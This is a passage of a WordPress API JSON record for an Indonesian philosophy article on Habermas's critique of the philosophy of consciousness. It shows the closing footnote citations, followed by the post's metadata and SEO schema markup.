16 <\/sup>F. Budi Hardiman, Demokrasi Deliberatif: Menimbang Negara Hukum dan Ruang Publik dalam Teori Diskursus J\u00fcrgen Habermas, op.cit.<\/em>, hlm. 27.<\/p>\n\n\n\n

17 <\/sup>F. Budi Hardiman, Melampaui Postivisme dan Modernisme,op.cit.<\/em>, hlm. 156.<\/p>\n\n\n\n

18 <\/sup>J\u00fcrgen Habermas, Philosophical Discourse of Modernity<\/em>, op.cit.<\/em>, 295.<\/p>\n\n\n\n

19 <\/sup>Ibid.<\/em>, hlm. 314.<\/p>\n\n\n\n

20 <\/sup>Ibid.<\/em>, hlm. 296.<\/p>\n\n\n\n

21 <\/sup>J\u00fcrgen Habermas, Teori Tindakan Komunikatif II: Kritik atas Rasio Fungsionalis<\/em>, penerj. Nurhadi (Bantul: Penerbit Kreasi Wacana, 2007), hlm. 164<\/p>\n\n\n\n

22 <\/sup>Ibid<\/em>., <\/em>hlm. 165.<\/p>\n\n\n\n

23 <\/sup>Ibid<\/em>., hlm. 173-174.<\/p>\n\n\n\n

24 <\/sup>Irfan Afifi, J\u00fcrgen Habermas: Senjakala Modernitas<\/em> (Yogyakarta: Penerbit IRCiSoD, 2019), hlm. 141.<\/p>\n\n\n\n

25 <\/sup>Ibid<\/em>., hlm. 142.<\/p>\n\n\n\n

26 <\/sup>F. Budi Hardiman, Demokrasi Deliberatif: Menimbang Negara Hukum dan Ruang Publik dalam Teori Diskursus J\u00fcrgen Habermas, op.cit.<\/em>, hlm. 29.<\/p>\n\n\n\n

27 <\/sup>Ibid<\/em>.<\/p>\n\n\n\n

28 <\/sup>F. Budi Hardiman, Demokrasi Deliberatif: Menimbang Negara Hukum dan Ruang Publik dalam Teori Diskursus J\u00fcrgen Habermas, op.cit.<\/em>, hlm. 33.<\/p>\n","protected":false},"excerpt":{"rendered":"

Indodian.com – Semenjak raibnya kekuasaan abad pertengahan (middle age), dunia barat mengalami pembalikan peradaban yang begitu radikal menuju tatananan baru: \u2018modernitas\u2019.\u00a0 Para ahli menyepakati,…<\/p>\n","protected":false},"author":4,"featured_media":1748,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[199],"tags":[446,445],"class_list":["post-1747","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-filsafat","tag-filsafat","tag-jurgen-habermas"],"yoast_head":"\nKritik J\u00fcrgen Habermas terhadap Filsafat Kesadaran - Indodian.com<\/title>\n<meta name=\"description\" content=\"Semenjak raibnya kekuasaan abad pertengahan (middle age), dunia barat mengalami pembalikan peradaban yang begitu radikal menuju tatananan\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/\" \/>\n<link rel=\"next\" href=\"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/2\/\" \/>\n<meta property=\"og:locale\" content=\"id_ID\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Kritik J\u00fcrgen Habermas terhadap Filsafat Kesadaran - Indodian.com\" \/>\n<meta property=\"og:description\" content=\"Semenjak raibnya kekuasaan abad pertengahan (middle age), dunia barat mengalami pembalikan peradaban yang begitu radikal menuju tatananan\" \/>\n<meta property=\"og:url\" content=\"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/\" \/>\n<meta property=\"og:site_name\" content=\"Indodian.com\" \/>\n<meta property=\"article:published_time\" content=\"2021-11-11T14:08:26+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2021-11-11T14:11:54+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/indodian.com\/wp-content\/uploads\/2021\/11\/WhatsApp-Image-2021-11-10-at-09.14.25.jpeg\" \/>\n\t<meta property=\"og:image:width\" content=\"1004\" \/>\n\t<meta property=\"og:image:height\" content=\"590\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Redaksi\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Ditulis oleh\" \/>\n\t<meta name=\"twitter:data1\" content=\"Redaksi\" \/>\n\t<meta name=\"twitter:label2\" content=\"Estimasi waktu membaca\" \/>\n\t<meta name=\"twitter:data2\" content=\"14 menit\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/\"},\"author\":{\"name\":\"Redaksi\",\"@id\":\"https:\/\/indodian.com\/#\/schema\/person\/512d40616bfad7e8f9d996745529efcc\"},\"headline\":\"Kritik J\u00fcrgen Habermas terhadap Filsafat Kesadaran\",\"datePublished\":\"2021-11-11T14:08:26+00:00\",\"dateModified\":\"2021-11-11T14:11:54+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/\"},\"wordCount\":2926,\"commentCount\":3468,\"publisher\":{\"@id\":\"https:\/\/indodian.com\/#\/schema\/person\/512d40616bfad7e8f9d996745529efcc\"},\"image\":{\"@id\":\"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/indodian.com\/wp-content\/uploads\/2021\/11\/WhatsApp-Image-2021-11-10-at-09.14.25.jpeg\",\"keywords\":[\"Filsafat\",\"J\u00fcrgen Habermas\"],\"articleSection\":[\"Filsafat\"],\"inLanguage\":\"id\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/\",\"url\":\"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/\",\"name\":\"Kritik J\u00fcrgen Habermas terhadap Filsafat Kesadaran - Indodian.com\",\"isPartOf\":{\"@id\":\"https:\/\/indodian.com\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/indodian.com\/wp-content\/uploads\/2021\/11\/WhatsApp-Image-2021-11-10-at-09.14.25.jpeg\",\"datePublished\":\"2021-11-11T14:08:26+00:00\",\"dateModified\":\"2021-11-11T14:11:54+00:00\",\"description\":\"Semenjak raibnya kekuasaan abad pertengahan (middle age), dunia barat mengalami pembalikan peradaban yang begitu radikal menuju tatananan\",\"inLanguage\":\"id\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"id\",\"@id\":\"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/#primaryimage\",\"url\":\"https:\/\/indodian.com\/wp-content\/uploads\/2021\/11\/WhatsApp-Image-2021-11-10-at-09.14.25.jpeg\",\"contentUrl\":\"https:\/\/indodian.com\/wp-content\/uploads\/2021\/11\/WhatsApp-Image-2021-11-10-at-09.14.25.jpeg\",\"width\":1004,\"height\":590},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/indodian.com\/#website\",\"url\":\"https:\/\/indodian.com\/\",\"name\":\"Indodian.com\",\"description\":\"Kritis & Humanis\",\"publisher\":{\"@id\":\"https:\/\/indodian.com\/#\/schema\/person\/512d40616bfad7e8f9d996745529efcc\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/indodian.com\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"id\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\/\/indodian.com\/#\/schema\/person\/512d40616bfad7e8f9d996745529efcc\",\"name\":\"Redaksi\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"id\",\"@id\":\"https:\/\/indodian.com\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/indodian.com\/wp-content\/uploads\/2021\/04\/Indodian-e1700825283162.png\",\"contentUrl\":\"https:\/\/indodian.com\/wp-content\/uploads\/2021\/04\/Indodian-e1700825283162.png\",\"width\":400,\"height\":96,\"caption\":\"Redaksi\"},\"logo\":{\"@id\":\"https:\/\/indodian.com\/#\/schema\/person\/image\/\"},\"sameAs\":[\"http:\/\/indodian.com\/\"],\"url\":\"https:\/\/indodian.com\/author\/redaksi\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Kritik J\u00fcrgen Habermas terhadap Filsafat Kesadaran - Indodian.com","description":"Semenjak raibnya kekuasaan abad pertengahan (middle age), dunia barat mengalami pembalikan peradaban yang begitu radikal menuju tatananan","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/","next":"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/2\/","og_locale":"id_ID","og_type":"article","og_title":"Kritik J\u00fcrgen Habermas terhadap Filsafat Kesadaran - Indodian.com","og_description":"Semenjak raibnya kekuasaan abad pertengahan (middle age), dunia barat mengalami pembalikan peradaban yang begitu radikal menuju tatananan","og_url":"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/","og_site_name":"Indodian.com","article_published_time":"2021-11-11T14:08:26+00:00","article_modified_time":"2021-11-11T14:11:54+00:00","og_image":[{"width":1004,"height":590,"url":"https:\/\/indodian.com\/wp-content\/uploads\/2021\/11\/WhatsApp-Image-2021-11-10-at-09.14.25.jpeg","type":"image\/jpeg"}],"author":"Redaksi","twitter_card":"summary_large_image","twitter_misc":{"Ditulis oleh":"Redaksi","Estimasi waktu membaca":"14 menit"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/#article","isPartOf":{"@id":"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/"},"author":{"name":"Redaksi","@id":"https:\/\/indodian.com\/#\/schema\/person\/512d40616bfad7e8f9d996745529efcc"},"headline":"Kritik J\u00fcrgen Habermas terhadap Filsafat Kesadaran","datePublished":"2021-11-11T14:08:26+00:00","dateModified":"2021-11-11T14:11:54+00:00","mainEntityOfPage":{"@id":"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/"},"wordCount":2926,"commentCount":3468,"publisher":{"@id":"https:\/\/indodian.com\/#\/schema\/person\/512d40616bfad7e8f9d996745529efcc"},"image":{"@id":"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/#primaryimage"},"thumbnailUrl":"https:\/\/indodian.com\/wp-content\/uploads\/2021\/11\/WhatsApp-Image-2021-11-10-at-09.14.25.jpeg","keywords":["Filsafat","J\u00fcrgen Habermas"],"articleSection":["Filsafat"],"inLanguage":"id","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/","url":"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/","name":"Kritik J\u00fcrgen Habermas terhadap Filsafat Kesadaran - Indodian.com","isPartOf":{"@id":"https:\/\/indodian.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/#primaryimage"},"image":{"@id":"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/#primaryimage"},"thumbnailUrl":"https:\/\/indodian.com\/wp-content\/uploads\/2021\/11\/WhatsApp-Image-2021-11-10-at-09.14.25.jpeg","datePublished":"2021-11-11T14:08:26+00:00","dateModified":"2021-11-11T14:11:54+00:00","description":"Semenjak raibnya kekuasaan abad pertengahan (middle age), dunia barat mengalami pembalikan peradaban yang begitu radikal menuju tatananan","inLanguage":"id","potentialAction":[{"@type":"ReadAction","target":["https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/"]}]},{"@type":"ImageObject","inLanguage":"id","@id":"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/#primaryimage","url":"https:\/\/indodian.com\/wp-content\/uploads\/2021\/11\/WhatsApp-Image-2021-11-10-at-09.14.25.jpeg","contentUrl":"https:\/\/indodian.com\/wp-content\/uploads\/2021\/11\/WhatsApp-Image-2021-11-10-at-09.14.25.jpeg","width":1004,"height":590},{"@type":"WebSite","@id":"https:\/\/indodian.com\/#website","url":"https:\/\/indodian.com\/","name":"Indodian.com","description":"Kritis & Humanis","publisher":{"@id":"https:\/\/indodian.com\/#\/schema\/person\/512d40616bfad7e8f9d996745529efcc"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/indodian.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"id"},{"@type":["Person","Organization"],"@id":"https:\/\/indodian.com\/#\/schema\/person\/512d40616bfad7e8f9d996745529efcc","name":"Redaksi","image":{"@type":"ImageObject","inLanguage":"id","@id":"https:\/\/indodian.com\/#\/schema\/person\/image\/","url":"https:\/\/indodian.com\/wp-content\/uploads\/2021\/04\/Indodian-e1700825283162.png","contentUrl":"https:\/\/indodian.com\/wp-content\/uploads\/2021\/04\/Indodian-e1700825283162.png","width":400,"height":96,"caption":"Redaksi"},"logo":{"@id":"https:\/\/indodian.com\/#\/schema\/person\/image\/"},"sameAs":["http:\/\/indodian.com\/"],"url":"https:\/\/indodian.com\/author\/redaksi\/"}]}},"_links":{"self":[{"href":"https:\/\/indodian.com\/wp-json\/wp\/v2\/posts\/1747","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/indodian.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/indodian.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/indodian.com\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/indodian.com\/wp-json\/wp\/v2\/comments?post=1747"}],"version-history":[{"count":2,"href":"https:\/\/indodian.com\/wp-json\/wp\/v2\/posts\/1747\/revisions"}],"predecessor-version":[{"id":1750,"href":"https:\/\/indodian.com\/wp-json\/wp\/v2\/posts\/1747\/revisions\/1750"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/indodian.com\/wp-json\/wp\/v2\/media\/1748"}],"wp:attachment":[{"href":"https:\/\/indodian.com\/wp-json\/wp\/v2\/media?parent=1747"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/indodian.com\/wp-json\/wp\/v2\/categories?post=1747"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/indodian.com\/wp-json\/wp\/v2\/tags?post=1747"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}